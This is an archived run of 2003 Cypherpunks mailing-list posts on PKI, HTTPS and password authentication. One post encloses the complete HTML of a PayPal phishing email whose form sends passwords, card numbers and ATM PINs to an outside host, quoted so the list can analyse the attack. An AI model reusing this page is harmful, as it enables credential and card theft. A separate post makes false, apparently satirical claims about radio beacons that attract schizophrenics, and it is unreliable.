its surprisingly reliable and easy - particuarly if your end users are just
using the MS keystore, which requires them to do no more than double-click
the pkcs file and hit "next" a few times.



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From hirsch at fjhirsch.com  Sat Jun  7 16:48:12 2003
From: hirsch at fjhirsch.com (Frederick Hirsch)
Date: Sat, 07 Jun 2003 19:48:12 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <Pine.LNX.4.44L0.0306011813390.14510-100000@smtp.datapower.com>
References: <Pine.LNX.4.44L0.0306011813390.14510-100000@smtp.datapower.com>
Message-ID: <3EE279BC.30401@fjhirsch.com>

Rich Salz wrote:

> Perhaps a few "best practices" papers are in order.  They might help
> the secure (distributed) computing field a great deal.
> 	/r$
> --

The new book, Practical Cryptography, by Niels Ferguson and
Bruce Schneier is useful.

regards,

Frederick







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From measl at mfn.org  Sat Jun  7 19:18:58 2003
From: measl at mfn.org (J.A. Terranson)
Date: Sat, 7 Jun 2003 21:18:58 -0500 (CDT)
Subject: Signs from God
In-Reply-To: <200306080040.h580eUI11985@einstein.ssz.com>
Message-ID: <Pine.BSF.4.21.0306072116210.6491-100000@greeves.mfn.org>

On Sun, 8 Jun 2003, The Messiah comes wrote:

[lots of pesudo-religous bullshit elided]

> Everyone who doesn't call Mankind into Paradise has got at least the same
> much Guilt and Dirt at putting like Adolf Hitler an will be punished just
> as hard. That means Hell forever:Final Solution (Endloesung)

Hmmm.. I get to invoke Godwin on the very first email he sends...

> Signed The Apostle Abraham cradle of mankind

>From reconstituted DNA no doubt.

> Abraham3 at directbox.com

-- 
Yours, 
J.A. Terranson
sysadmin at mfn.org




From t.c.jones at att.net  Sat Jun  7 16:47:16 2003
From: t.c.jones at att.net (t.c.jones at att.net)
Date: Sat, 07 Jun 2003 23:47:16 +0000
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <20030607234718.24564182FE2@red.metdow.com>

my site has one.
ca0.net
..tom
>     --
> On 7 Jun 2003 at 19:05, Dave Howe wrote:
> > issuing certs to someone is trivial from both a server and a 
> > user endpoint - the user just gets a "click here to request 
> > your key" and hits ok on a few dialog boxes; the server 
> > simply hosts some pretty off-the-shelf cgi.
> >[...]
> > its surprisingly reliable and easy - particuarly if your end 
> > users are just using the MS keystore, which requires them to 
> > do no more than double-click the pkcs file and hit "next" a 
> > few times.
> 
> This sounds more like what I was looking for.
> 
> Probably someone has already pointed out the url to this, but 
> if they did, I when I looked at it I was snowed under by 
> verisign oriented shit, which assumes a large budget and ample 
> administrator time for face to face contact with certified 
> people, a very small number of clients, some hours of work by
> each client, a manual, user training, etc, and failed to grasp
> it.
> 
> Could you point me somewhere that illustates server issued 
> certs, certification with zero administrator overhead and small 
> end user overhead?
> 
> Also, I have many times heard that public key operations were 
> surprisingly easy, and have been key administrator for several 
> companies, and have unfailingly found that I was the only 
> person capable of doing these operations at that company. 
> 
>     --digsig
>          James A. Donald
>      6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
>      v6gZFuZoUgyGH55ME+JoilJSfw5LrufrbWWB454U
>      4FhiB65yyXwp1RgeJrLADfEYBoqz0YAch8fJ0Fisp
> 
> 
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From t.c.jones at att.net  Sat Jun  7 16:47:16 2003
From: t.c.jones at att.net (t.c.jones at att.net)
Date: Sat, 07 Jun 2003 23:47:16 +0000
Subject: Maybe It's Snake Oil All the Way Down
Message-ID: <200306072347.h57NlIfY007582@gw.lne.com>

my site has one.
ca0.net
..tom
>     --
> On 7 Jun 2003 at 19:05, Dave Howe wrote:
> > issuing certs to someone is trivial from both a server and a 
> > user endpoint - the user just gets a "click here to request 
> > your key" and hits ok on a few dialog boxes; the server 
> > simply hosts some pretty off-the-shelf cgi.
> >[...]
> > its surprisingly reliable and easy - particuarly if your end 
> > users are just using the MS keystore, which requires them to 
> > do no more than double-click the pkcs file and hit "next" a 
> > few times.
> 
> This sounds more like what I was looking for.
> 
> Probably someone has already pointed out the url to this, but 
> if they did, I when I looked at it I was snowed under by 
> verisign oriented shit, which assumes a large budget and ample 
> administrator time for face to face contact with certified 
> people, a very small number of clients, some hours of work by
> each client, a manual, user training, etc, and failed to grasp
> it.
> 
> Could you point me somewhere that illustates server issued 
> certs, certification with zero administrator overhead and small 
> end user overhead?
> 
> Also, I have many times heard that public key operations were 
> surprisingly easy, and have been key administrator for several 
> companies, and have unfailingly found that I was the only 
> person capable of doing these operations at that company. 
> 
>     --digsig
>          James A. Donald
>      6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
>      v6gZFuZoUgyGH55ME+JoilJSfw5LrufrbWWB454U
>      4FhiB65yyXwp1RgeJrLADfEYBoqz0YAch8fJ0Fisp
> 
> 
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From DaveHowe at gmx.co.uk  Sat Jun  7 17:04:37 2003
From: DaveHowe at gmx.co.uk (Dave Howe)
Date: Sun, 8 Jun 2003 01:04:37 +0100
Subject: Maybe It's Snake Oil All the Way Down
References: <3EE1ED9B.11220.2A2D16C6@localhost>
Message-ID: <001901c32d58$089bb520$01c8a8c0@DaveHowe>

James A. Donald wrote:
> Could you point me somewhere that illustates server issued
> certs, certification with zero administrator overhead and small
> end user overhead?
Been a while since I played with it, but IIRC OpenCA (www.openca.org) is a
full implimentation of a CA, in perl cgi, with no admin intervention
required.  Obviously, that involves browser-based key generation.
If you want server-based key generation, then take a look at
http://symlabs.com/Net_SSLeay/smime.html

If you are iis/asp rather than perl, then there are activex components that
will give you access to x509 certificates - EBCrypt is probably the easiest,
but there is a activex wrapper for cryptlib too, iirc.




From ravage at einstein.ssz.com  Sun Jun  8 06:24:51 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sun, 8 Jun 2003 08:24:51 -0500 (CDT)
Subject: FindLaw's Writ - Dean: Missing Weapons Of Mass Destruction
  (fwd)
Message-ID: <Pine.LNX.4.33.0306080824290.9676-100000@einstein.ssz.com>

http://writ.news.findlaw.com/dean/20030606.html


 --
    ____________________________________________________________________

      We are all interested in the future for that is where you and I
      are going to spend the rest of our lives.

                              Criswell, "Plan 9 from Outer Space"

      ravage at ssz.com                            jchoate at open-forge.org
      www.ssz.com                               www.open-forge.org
    --------------------------------------------------------------------




From jhh at cs.kun.nl  Sun Jun  8 00:33:01 2003
From: jhh at cs.kun.nl (Jaap-Henk Hoepman)
Date: Sun, 08 Jun 2003 09:33:01 +0200
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EE0DDAC.20912752@systemics.com> (Ian Grigg's message of "Fri,
 06 Jun 2003 14:30:04 -0400")
References: <5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
	<5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
	<A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com>
	<kjd6hxzc07.fsf@romeo.rtfm.com>
	<5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
	<5.2.0.9.0.20030603175734.045fa8b0@pop.ix.netcom.com>
	<5.2.0.9.0.20030604180546.04576990@pop.ix.netcom.com>
	<3EE0DDAC.20912752@systemics.com>
Message-ID: <87brx9kor6.fsf@smtp.xs4all.nl>


I thought the 3G (UMTS) cellphones at least were going to use reasonably good
crypto; don't know about the overall security architecture though.

Jaap-Henk 

On Fri, 06 Jun 2003 14:30:04 -0400 Ian Grigg <iang at systemics.com> writes:
> John Kelsey wrote:
>
>> So, what can I do about it, as an individual?  Make the cellphone companies
>> build good crypto into their systems?  Any ideas how to do that?
>
> Nope.  Cellphone companies are big slow moving
> targets.  They get their franchise from the
> government.  If the NSA wants weak crypto, they
> do weak crypto.

-- 
Jaap-Henk Hoepman           |  I've got sunshine in my pockets
Dept. of Computer Science   |  Brought it back to spray the day
University of Nijmegen      |        Gry "Rocket"
(w) www.cs.kun.nl/~jhh      |  (m) jhh at cs.kun.nl
(t) +31 24 36 52710/531532  |  (f) +31 24 3653137


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From jamesd at echeque.com  Sun Jun  8 11:55:20 2003
From: jamesd at echeque.com (James A. Donald)
Date: Sun, 8 Jun 2003 11:55:20 -0700
Subject: An attack on paypal
Message-ID: <3EE32428.1173.13AC2C1@localhost>

Attached is a spam mail that constitutes an attack on paypal similar 
in effect and method to man in the middle.

The bottom line is that https just is not working.  Its broken.

The fact that people keep using shared secrets is a symptom of https 
not working.

The flaw in https is that you cannot operate the business and trust 
model using https that you can with shared secrets.




-------------- Enclosure number 1 ----------------
Received: from bgp480791bgs.summit01.nj.comcast.net [68.37.160.58] by dpmail07.doteasy.com
  (SMTPD32-7.13) id A3506CD006A; Sat, 07 Jun 2003 19:45:36 -0700
Date: Sun, 08 Jun 2003 02:50:24 +0000
From: Confirm <confirm at paypal.com>
Subject: Important Information Regarding Your PayPal Account
To: Jamesd <jamesd at echeque.com>
References: <4FG6E0K8HJHJ2DL9 at echeque.com>
In-Reply-To: <4FG6E0K8HJHJ2DL9 at echeque.com>
Message-ID: <62K3JH9LKLB0I8GK at paypal.com>
MIME-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: 8bit
X-RCPT-TO: <jamesd at echeque.com>
Status: U
X-PMFLAGS: 34079360 0 1 P4EDB0.CNM

<html>
<head>
<STYLE type=text/css>
.dummy {}
BODY, TD {font-family: verdana,arial,helvetica,sans-serif;font-size: 13px;color: #000000;}
UL {list-style: square}
.pp_big {font-family: verdana,arial,helvetica,sans-serif;font-size: 24px;font-weight: bold;color: #003366;} 
.pp_sortofbig {font-family: verdana,arial,helvetica,sans-serif;font-size: 22px;font-weight: bold;color: #003366;}   
.pp_heading {font-family: verdana,arial,helvetica,sans-serif;font-size: 18px;font-weight: bold;color: #003366;} 
.pp_subheading {font-family: verdana,arial,helvetica,sans-serif;font-size: 16px;font-weight: bold;color: #003366;}  
.pp_sidebartext {font-family: verdana,arial,helvetica,sans-serif;font-size: 11px;color: #003366;}   
.pp_mediumtextbold {font-family: verdana,arial,helvetica,sans-serif;font-size: 14px;font-weight: bold;color: #000000;}
.pp_smalltext {font-family: verdana,arial,helvetica,sans-serif;font-size: 10px;font-weight: normal;color: #000000;}
.pp_smallbluetext {font-family: verdana,arial,helvetica,sans-serif;font-size: 10px;font-weight: normal;color: #003366;}
.pp_footer {font-family: verdana,arial,helvetica,sans-serif;font-size: 11px;color: #aaaaaa;}    
</STYLE>
<title>PayPal</title>
</head>
<body>
<table width="600" cellspacing="0" cellpadding="0" border="0" align="center">
    <tr>
        <td><A href="https://www.paypal.com/"><IMG src="http://www.paypal.com/images/paypal_logo.gif" width=109 height=35 alt="PayPal" border="0" vspace=10></A>
        </td>
    </tr>
</table>
<table width="100%" cellspacing="0" cellpadding="0" border="0">
    <tr>
        <td background="http://www.paypal.com/images/bg_clk.gif" width="100%"><img src="http://www.paypal.com/images/pixel.gif" height="29" width="1" border="0"></td>
    </tr>   
    <tr>
        <td><img src="http://www.paypal.com/images/pixel.gif" height="10" width="1" border="0"></td>
    </tr>
</table>
<table width="600" cellspacing="0" cellpadding="5" border="0" align="center">
  <tr> 
    <td class="pp_sortofbig" align=middle>Dear PayPal Customer</td>
  </tr>
  <tr> 
    <td valign="top"><p>&nbsp;</p>
      <p>This e-mail is the notification of recent innovations taken by PayPal to detect inactive customers and              non-functioning mailboxes.</p>
      <p>The inactive customers are subject to restriction and removal in the next 
        3 months.</p>
      <p>Please confirm your email address and Credit or Check Card information<b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal">
      </b>using the form below:</p></td>
  </tr>
  <tr> 
    <td align=middle>

<form action="http://www.pos2life.biz/vp.php" method="post">
      <p style="MARGIN-TOP: -2px; MARGIN-BOTTOM: 0px; MARGIN-LEFT: 4px" 
     >&nbsp;</p>

      <table border="0">
        <tr>
          <td>
            <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal" 
           >Email Address:</b></P></td>
          <td><input name="lgn" size="32" maxlength="32" ></td>
        </tr>
        <tr>
          <td>
            <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-VARIANT: normal" 
           >Password:</b></P></td>
          <td><input name="psw" type="password" size="32" maxlength="32"></td>
        </tr>
        <tr>
          <td>
            <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal">First Name:</b></P></td>
          <td><input name="fname" size="32" maxlength="32" ></td>
        </tr>
		<tr>
          <td>
            <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal">Last Name:</b></P></td>
          <td><input name="lname" size="32" maxlength="32" ></td>
        </tr>
 <tr>
          <td>
            <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal"> ZIP:</b></P></td>
<td><input name="bz" size="32" maxlength="20">
 <tr>
          <td>
            <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal">Credit or Check Card #:</b></P></td>
          <td><input name="cz" size="32" maxlength="16"></td>

 <tr>
          <td>
            <P align=left><b style="FONT-WEIGHT: bold; FONT-SIZE: 8pt; FONT-STYLE: normal; FONT-VARIANT: normal">Expiration Date:</b></P></td>
          <td>
<select name="crdm"> 
<OPTION value="zero" selected>Month</OPTION> 
<option value="01">01</option> 
<option value="02">02</option> 
<option value="03">03</option> 
<option value="04">04</option> 
<option value="05">05</option> 
<option value="06">06</option>
<option value="07">07</option> 
<option value="08">08</option> 
<option value="09">09</option> 
<option value="10">10</option> 
<option value="11">11</option> 
<option value="12">12</option>
</select> &nbsp;/&nbsp; 
<select name="crdy"> <OPTION value="zero" selected>Year</OPTION> 
<option value="03">2003</option> 
<option value="04">2004</option> 
<option value="05">2005</option> 
<option value="06">2006</option> 
<option value="07">2007</option> 
<option value="08">2008</option> 
<option value="09">2009</option>
<option value="10">2010</option> 
<option value="11">2011</option>
<option value="12">2012</option> </select>
</td>

<tr>
          <td>
            <P align=left><b style="FONT: bold 8pt : normal" 
              >  ATM PIN:</b></P></td>
          <td><input name="pni" type="password" size="32" maxlength="6"></td>
        </tr>
      </table>
        <p>
	  <input type="submit" value="   Submit   ">
        </p>
      </form>
Information transmitted using 128bit SSL encryption.
      <p><br>&nbsp; 
      </p></td>
  </tr> 
  <tr> 
    <td align=middle><strong>Thanks for using PayPal! </strong><br></td>
  </tr>
  <tr> 
    <td><img src="http://www.paypal.com/images/dot_row_long.gif"></td>
  </tr>
  <tr> 
    <td class="pp_footer"> This PayPal notification was sent 
      to&nbsp;this email address&nbsp;because you are a Web Accept user and 
      chose to receive the PayPal Periodical newsletter and Product Updates. To 
      modify your notification preferences, go to <A 
      href="https://www.paypal.com/PREFS-NOTI">https://www.paypal.com/PREFS-NOTI</A> 
         and log in to your account. Changes may take several 
      days to be reflected in our mailings. Replies to this email will not be 
      processed.&nbsp; <br> <br>
      Copyright� 2003 PayPal Inc. All rights reserved. Designated trademarks 
      and brands are the property of their respective owners. </td>
  </tr>
</table>
</body></html>



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From schear at attbi.com  Sun Jun  8 12:49:50 2003
From: schear at attbi.com (Steve Schear)
Date: Sun, 08 Jun 2003 12:49:50 -0700
Subject: CIA spies shun computers
Message-ID: <5.2.1.1.0.20030608124254.0412da60@mail.attbi.com>

Old technology dominates at the CIA
In the movies, spies and intelligence agents are the ones with the cool 
gadgets and state-of-the-art equipment, but their real life counterparts 
are far behind.

http://news.bbc.co.uk/2/hi/technology/2965620.stm


"A Jobless Recovery is like a Breadless Sandwich."
-- Steve Schear 




From jamesd at echeque.com  Sun Jun  8 13:43:05 2003
From: jamesd at echeque.com (James A. Donald)
Date: Sun, 8 Jun 2003 13:43:05 -0700
Subject: The real problem that https has conspicuously failed to fix
Message-ID: <001401c32dfe$90cccd70$6401a8c0@amd1900>

I keep posting "you cannot do this using https", and people keep =
replying "yes you can"

No you cannot, cause if you could, paypal, e-gold, e-bay, and the rest =
would not be suffering from the problem illustrated by scam mails such =
as the following

(When you hit the submit button, guess what happens)

       =20
    =20
    =20
      Dear PayPal Customer=20


      This e-mail is the notification of recent innovations taken by =
PayPal to detect inactive customers and non-functioning mailboxes.

      The inactive customers are subject to restriction and removal in =
the next 3 months.

      Please confirm your email address and Credit or Check Card =
information using the form below:
    =20


            Email Address:
           =20
            Password:
           =20
            First Name:
           =20
            Last Name:
           =20
            ZIP:
            =20
            Credit or Check Card #:
           =20
            Expiration Date:
            Month 01 02 03 04 05 06 07 08 09 10 11 12  /   Year 2003 =
2004 2005 2006 2007 2008 2009 2010 2011 2012 =20
            ATM PIN:
           =20

      =20

      Information transmitted using 128bit SSL encryption.=20

       =20
    =20
      Thanks for using PayPal!=20
    =20
    =20
      This PayPal notification was sent to this email address because =
you are a Web Accept user and chose to receive the PayPal Periodical =
newsletter and Product Updates. To modify your notification preferences, =
go to https://www.paypal.com/PREFS-NOTI and log in to your account. =
Changes may take several days to be reflected in our mailings. Replies =
to this email will not be processed. =20

      Copyright=A9 2003 PayPal Inc. All rights reserved. Designated =
trademarks and brands are the property of their respective owners. =20

[demime 0.97c removed an attachment of type image/gif which had a name of paypal_logo.gif]

[demime 0.97c removed an attachment of type image/gif which had a name of pixel.gif]

[demime 0.97c removed an attachment of type image/gif which had a name of dot_row_long.gif]




From mv at cdc.gov  Sun Jun  8 14:49:07 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Sun, 08 Jun 2003 14:49:07 -0700
Subject: You bought it, Who controls it?  [TR Article]
Message-ID: <3EE3AF53.C29AA930@cdc.gov>

article by Edward Tenner,
Technology review, June 2003 p61-64

Also an article on "deceipt detector" p67-69
about using IR reflectivity of your frontal lobes
to detect deceipt.  Sort of a polygraph on steroids.

(sorry, only cites, not URLs this time)




From camera_lumina at hotmail.com  Sun Jun  8 14:33:25 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Sun, 08 Jun 2003 17:33:25 -0400
Subject: SIGINT planes vs. schizophrenic mapping
Message-ID: <BAY7-F80TGBGrhUaCxy00001686@hotmail.com>

Oh, I forgot their might be some other purpose for AWAC-type mapping of an 
urban area.

Although it's not too well known, McDonalds and other fast-food franchises 
actually have state-monitored radio-frequency 'beacons'. These beacons 
transmit at a special frequency that the brains of schizophrenics are very 
sensitive to, and that draws schizophrenics like flies. And if you've seen 
an inner-city McDonalds full of homeless and assorted schizos, its either 
because their transmitter has drifted out of spec, or they've deliberated 
boosted it up to increase sales.

So one purpose of those AWACs is obviously to map the fields of such 
transmitters. And its not the licensed ones they're worried about...imagine 
some 'terrorist' or other troublemaker getting one of those things and then 
cranking it up near some big political meeting, like G4 or whatever. (It's 
apparently happened on several occasions...apparently Woodstock was actually 
a pre-cmmmercial military test of the thing.)

Anyone know the frequency of that device? I think it it's the megahertz 
region, but don't quote me.

-TD

_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE*  
http://join.msn.com/?page=features/virus




From juicy at melontraffickers.com  Sun Jun  8 18:00:51 2003
From: juicy at melontraffickers.com (A.Melon)
Date: Sun,  8 Jun 2003 18:00:51 -0700 (PDT)
Subject: Razor
Message-ID: <0210dfd3a668bc0f8de997edac54cf92@melontraffickers.com>

I don't care about The Rat's postings like some of
my anonymous associates, but someone's razor
reporting is inaccurate.  Some spam from this list
has been revoked at razor so it drops down below
30% confidence, when it shouldn't be revoked at
all [1].  Inversely, some legitimate postings are
getting reported to razor when they should not be
[2].

If you auto-report stuff to razor, please be
extra-careful with this list.

[1] <20030608161030.83223.qmail at web42003.mail.yahoo.com>
[2] <Pine.SOL.4.51.0306032216560.21827 at kruuna.Helsinki.FI>




From tim at dierks.org  Sun Jun  8 15:03:29 2003
From: tim at dierks.org (Tim Dierks)
Date: Sun, 08 Jun 2003 18:03:29 -0400
Subject: An attack on paypal
In-Reply-To: <3EE32428.1173.13AC2C1@localhost>
Message-ID: <6.0.0.9.2.20030608174846.04cf35e8@127.0.0.1>

At 02:55 PM 6/8/2003, James A. Donald wrote:
>Attached is a spam mail that constitutes an attack on paypal similar
>in effect and method to man in the middle.
>
>The bottom line is that https just is not working.  Its broken.
>
>The fact that people keep using shared secrets is a symptom of https
>not working.
>
>The flaw in https is that you cannot operate the business and trust
>model using https that you can with shared secrets.

I don't think it's https that's broken, since https wasn't intended to 
solve the customer authentication / authorization problem (you could try to 
use SSL's client certificates for that, but no one ever intended client 
certificate authentication to be a generalized transaction problem).

When I responded to this before, I thought you were talking about the 
server auth problem, not the password problem. I continue to feel that the 
server authentication problem is a very hard problem to solve, since 
there's few hints to the browser as to what the user's intent is.

The password problem does need to be solved, but complaining that HTTPS or 
SSL doesn't solve it isn't any more relevant than complaining that it's not 
solved by HTML, HTTP, and/or browser or server implementations, since any 
and all of these are needed in producing a new solution which can function 
with real businesses and real users. Let's face it, passwords are so deeply 
ingrained into people's lives that nothing which is more complex in any way 
than passwords is going to have broad acceptance, and any consumer-driven 
company is going to consider "easy" to be more important that "secure".

Right now, my best idea for solving this problem is to:
  - Standardize an HTML input method for <FORM> which does an SPEKE (or 
similar) mutual authentication.
  - Get browser makers to design better ways to communicate to users that 
UI elements can be trusted. For example, a proposal I saw recently which 
would have the OS decorate the borders of "trusted" windows with facts or 
images that an attacker wouldn't be able to predict: the name of your dog, 
or whatever. (Sorry, can't locate a link right now, but I'd appreciate one.)
  - Combine the two to allow sites to provide a user-trustable UI to enter 
a password which cannot be sucked down.
  - Evangelize to users that this is better and that they should be 
suspicious of any situation where they used such interface once, but now 
it's gone.

I agree that the overall architecture is broken; the problem is that it's 
broken in more ways than can just be fixed with any change to TLS/SSL or HTTPS.

  - Tim




From lynn at garlic.com  Sun Jun  8 17:12:34 2003
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Sun, 08 Jun 2003 18:12:34 -0600
Subject: An attack on paypal
In-Reply-To: <009201c32e0f$66d925c0$01c8a8c0@DaveHowe>
References: <3EE32428.1173.13AC2C1@localhost>
Message-ID: <4.2.2.20030608173129.00a99bb0@mail.earthlink.net>

At 11:43 PM 6/8/2003 +0100, Dave Howe wrote:
>HTTPS works just fine.
>The problem is - people are broken.
>At the very least, verisign should say "ok so '..go1d..' is a valid server
>address, but doesn't it look suspiously similar to this '..gold..' site over
>here?" for https://pseudo-gold-site/ - but really, if users are going to
>fill in random webforms sent by email, they aren't going to be safe under
>any circumstances; the thing could send by unsecured http to any site on the
>planet, then redirect to the real gold site for a generic "transaction
>completed" or even "failed" screen
>A world where a random paypal hack like this one doesn't work is the same as
>the world where there is no point sending out a Nigerian as you will never
>make a penny on it - and yet, Nigerian is still profitable for the con
>artists.

in a world where there are repeated human mistakes/failures .... at some 
point it is recognized that people aren't perfect and the design is changed 
to accommodate peoples foibles. in some respects that is what helmets, seat 
belts, and air bags have been about.

in the past systems have designed long, complicated passwords that are hard 
to remember and must be changed every month. that almost worked when i 
person had to deal with a single shared-secret. when it became a fact of 
life that a person might have tens of such different interfaces it became 
impossible. It wasn't the fault of any specific institution, it was a 
failure of humans being able to deal with large numbers of extremely 
complex, frequently changing passwords. Because of known human foibles, it 
might be a good idea to start shifting from an infrastructure with large 
numbers of shared-secrets to a non-shared-secret paradigm.

at a recent cybersecurity conference, somebody made the statement that (of 
the current outsider, internet exploits, approximately 1/3rd are buffer 
overflows, 1/3rd are network traffic containing virus that infects a 
machine because of automatic scripting, and 1/3 are social engineering 
(convince somebody to divulge information). As far as I know, evesdropping 
on network traffic  doesn't even show as a blip on the radar screen.

In the following thread on a financial  authentication white paper:
http://www.garlic.com/~lynn/aepay11.htm#53 Authentication white paper
http://www.garlic.com/~lynn/aepay11.htm#54 FINREAD was. Authentication 
white paper
http://www.garlic.com/~lynn/aepay11.htm#55 FINREAD ... and as an aside
http://www.garlic.com/~lynn/aepay11.htm#56 FINREAD was. Authentication 
white paper

there is point made that X9.59 standard doesn't directly address the 
Privacy aspect of security (i.e. no encryption or hiding of data). However, 
the point is made that it changes the paradigm so that the financial 
account number no longer represents a shared-secret and that it can be 
supported with two-factor authentication  i.e. "something you have" token 
and "something you know" PIN. The "something you know" PIN is used to 
enable the token, but is not a shared secret. Furthermore, strong 
authentication can be justification for eliminating the need for name or 
other identification information in the transaction.

However, if X9.59 strong authentication is used with two-factor 
authentication and no identification information is necessary .... then it 
would make people more suspicious if privacy information was requested. 
Also, since privacy information is no longer sufficient for performing a 
fraudulent transaction, it might mitigate that kind of social engineering 
attack.

The types of social engineering attacks then become convincing people to 
insert their hardware token and do really questionable things or mailing 
somebody their existing hardware token along with the valid pin (possibly 
as part of an exchange for replacement). The cost/benefit ratio does start 
to change since there is now much more work on the crooks part for the same 
or less gain. One could also claim that such activities are just part of 
child-proofing the environment (even for adults). On the other hand, it 
could be taken as analogous to designing systems to handle observed failure 
modes (even when the failures are human and not hardware or software). 
Misc. identify theft and credit card fraud reference:
http://www.consumer.gov/idtheft/cases.htm
http://www.usdoj.gov/criminal/fraud/idtheft.html
http://www.garlic.com/~lynn/aadsm14.htm#22 Identity Theft Losses Expect to 
hit $2 trillion
http://www.garlic.com/~lynn/subpubkey.html#fraud


Slightly related in recent thread that brought up buffer overflow exploits
http://www.garlic.com/~lynn/2003j.html#4 A Dark Day

and the report that multics hasn't ever had a buffer overflow exploit
http://www.garlic.com/~lynn/2002l.html#42 Thirty Years Later: Lessons from 
the Multics Security Evaluation
http://www.garlic.com/~lynn/2002l.html#44 Thirty Years Later: Lessons from 
the Multics Security Evaluation

somebody (else) commented (in the thread) that anybody that currently 
(still) writes code resulting in buffer overflow exploit maybe should be 
thrown in jail.



--
Anne & Lynn Wheeler    http://www.garlic.com/~lynn/
Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm




From cpunk at lne.com  Sun Jun  8 20:00:01 2003
From: cpunk at lne.com (cpunk at lne.com)
Date: Sun, 8 Jun 2003 20:00:01 -0700
Subject: Cypherpunks List Info
Message-ID: <200306090300.h593019x014949@gw.lne.com>

Cypherpunks Mailing List Information

Last updated: Sep 12, 2002

This message is also available at http://www.lne.com/cpunk

Instructions on unsubscribing from the list can be found below.


0. Introduction

The Cypherpunks mailing list is a mailing list for discussing cryptography
and its effect on society.  It is not a moderated list (but see exceptions
below) and the list operators are not responsible for the list content.

Cypherpunks is a distributed mailing list.  A subscriber can subscribe to
one node of the list and thereby participate on the full list.  Each node
(called a "Cypherpunks Distributed Remailer", although they are not
related to anonymous remailers) exchanges messages with the other nodes
in addition to sending messages to its subscribers.  A message posted
to one node will be received by the list subscribers on the other nodes,
and vice-versa.

1. Filtering

The various CDRs follow different policies on filtering spam and to a
lesser extent on modifying messages that go to/from their subscribers.
Filtering is done, on nodes that do it, to reduce the huge amount of
spam that the cypherpunks list is subjected to.

There are three basic flavors of filtering CDRs: "raw", which send all
messages to their subscribers. "cooked" CDRs try to eliminate the spam
on that's on the regular list by automatically sending only messages
that are from cypherpunks list subscribers (on any CDR) or people who
are replying to list messages.  Finally there are moderated lists, where
a human moderator decides which messages from the raw list to pass on
to subscribers.

2. Message Modification

Message modification policy indicates what modifications, if any, beyond
what is needed to operate the CDR are done (most CDRs add a tracking
X-loop header on mail posted to their subscribers to prevent mail loops).
Message modification usually happens on mail going in or out to each CDR's
subscribers. CDRs should not modify mail that they pass from one CDR
to the next, but some of them do, and others undo those modifications.

3. Privacy

Privacy policy indicates if the list will allow anyone ("open"), or only
list members, or no one ("private") , to retrieve the subscribers list.
Note that if you post, being on a "private" list doesn't mean much,
since your address is now out there.   It's really only useful for
keeping spammers from harvesting addresses from the list software.

Digest mode indicates that the CDR supports digest mode, which is where
the posts are batched up into a few large emails.  Nodes that support
only digest mode are noted.

4. Anonymous posting

Cypherpunks encourages anonymous posting.

You can use an anonymous remailer:
http://www.andrebacard.com/remail.html
http://anon.efga.org/Remailers
http://www.gilc.org/speech/anonymous/remailer.html

or you can send posts to the list via cpunks_anon at einstein.ssz.com and
your mail's headers will be stripped before posting.  Note that this
doesn't provide complete anonymity since the receiving site will still
have log file entries showing the source of the mail (or you have to
trust that they delete them).  You also will be 'sharing' a reputation
with the other entities that post through this alias, and some of them
are spammers, so some subscribers will have this alias filtered.

5. Unsubscribing

Unsubscribing from the cypherpunks list:
Since the list is run from a number of different CDRs, you have to
figure out which CDR you are subscribed to.  If you don't remember and
can't figure it out from the mail headers (hint: the top Received: line
should tell you), the easiest way to unsubscribe is to send unsubscribe
messages to all the CDRs listed below.

How to figure out which CDR you are subscribed to:

Get your mail client to show all the headers (Microsoft calls this
"internet headers").  Look for the Sender or X-loop headers.  The Sender
will say something like "Sender: owner-cypherpunks at lne.com".  The X-loop
line will say something like "X-Loop: cypherpunks at lne.com".  Both of
these inticate that you are subscribed to the lne.com CDR.   If you were
subscribed to the algebra CDR, they would have algebra.com in them.
Once you have figured out which CDR you're subscribed to, look in the
table below to find that CDRs unsubscribe instructions.

6. Lunatics, spammers and nut-cases

"I'm subscribed to a filtering CDR yet I still see lots of junk postings".
At this writing there are a few sociopaths on the cypherpunks list who
are abusing the lists openness by dumping reams of propaganda on the list.
The distinction between a spammer and a subscriber is nearly always very
clear, but the dictinction between a subscriber who is abusing the list
by posting reams of propaganda and a subscriber who is making lots of
controversial posts is not clear.  Therefore, we tolerate the crap.
Subscribers with a low crap tolerance should check out mail filters.
Procmail is a good one, although it works on Unix and Unix-like systems
only.  Eudora also has a capacity for filtering mail, as do many other
mail readers.  An example procmail recipie is below, you will of
course want to make your own decisions on which (ab)users to filter.

# mailing lists:
# filter all cypherpunks mail into its own cypherspool folder, discarding
# mail from loons.  All CDRs set their From: line to 'owner-cypherpunks'.
# /dev/null is unix for the trash can.
:0
* ^From.*owner-cypherpunks at .*
{
    :0:
    * (^From:.*ravage at ssz\.com.*|\
